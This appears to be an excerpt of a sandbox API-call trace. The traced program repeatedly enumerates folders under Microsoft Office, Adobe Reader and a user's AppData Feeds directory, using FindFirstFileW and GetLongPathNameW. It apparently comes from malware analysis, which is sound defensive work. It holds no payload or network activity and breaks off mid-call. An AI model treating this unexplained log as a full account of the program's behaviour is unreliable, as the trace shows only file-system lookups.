FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a80430, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb819d1e0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb819d1e0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.116] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.117] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\*.*", lpFindFileData=0x1ed520 | out: lpFindFileData=0x1ed520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa04c6b50, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5fb1860, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5fb1860, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.121] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.122] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\*", lpFindFileData=0x1ed520 | out: lpFindFileData=0x1ed520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa04c6b50, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5fb1860, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5fb1860, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.123] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.124] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\*.*", lpFindFileData=0x1ed520 | out: lpFindFileData=0x1ed520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x855a1a90, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xf2f00de0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0xf2f00de0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.125] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\*", lpFindFileData=0x1ed520 | out: lpFindFileData=0x1ed520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x855a1a90, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xf2f00de0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0xf2f00de0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.126] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.126] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\*.*", lpFindFileData=0x1ed470 | out: lpFindFileData=0x1ed470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x855a1a90, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5fb1860, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5fb1860, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.126] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.127] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\*", lpFindFileData=0x1ed470 | out: lpFindFileData=0x1ed470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x855a1a90, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5fb1860, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5fb1860, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.127] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.127] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\en-us\\*.*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc97b0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5fb1860, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5fb1860, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.128] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0125.128] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\en-us\\*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc97b0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5fb1860, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5fb1860, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.801] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e5e59d0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb7f3bbe0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb7f3bbe0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0125.828] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\1033\\*.*", lpFindFileData=0x1ed520 | out: lpFindFileData=0x1ed520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x843c7590, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb7f3bbe0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb7f3bbe0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0126.254] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*.*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6316c840, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x63204dc0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x63204dc0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0127.634] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x40 [0127.636] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x40 [0127.637] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed490, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x41 [0127.638] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed460, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x41 [0127.639] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed460, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x41 [0127.645] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*.*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x235e4c00, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0127.648] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x41 [0127.649] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 0x5b [0127.651] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 0x5b [0127.652] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x41 [0127.653] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 0x5b [0127.654] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms") returned 0x5b [0127.655] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x41 [0127.656] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 0x5b [0127.657] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 0x5b [0127.658] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x41 [0127.659] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 0x5b [0127.659] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 0x5b [0127.660] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x41 [0127.662] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 0x54 [0127.664] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 0x54 [0127.665] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x41 [0127.666] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 0x54 [0127.667] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms", lpszLongPath=0x1ed570, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 0x54 [0127.668] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x40 [0127.669] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x40 [0127.670] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed490, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x41 [0127.671] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed460, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x41 [0127.672] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1ed460, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x41 [0127.674] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x235e4c00, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0127.674] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x57 [0127.676] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x57 [0127.680] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed490, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0127.681] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed460, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0127.682] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed460, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0127.684] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*.*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x233a9760, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0127.684] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x57 [0127.685] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x1ed4c0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x57 [0127.686] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed490, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0127.687] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed460, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0127.688] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed460, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0127.691] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", lpFindFileData=0x1ed680 | out: lpFindFileData=0x1ed680*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x233a9760, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x233a9760, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0127.691] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed410, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0127.692] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x1ed410, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x62 [0127.694] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x1ed410, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x62 [0127.695] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x1ed3e0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0127.695] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x1ed3e0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x63 [0127.696] GetLongPathNameW (in: 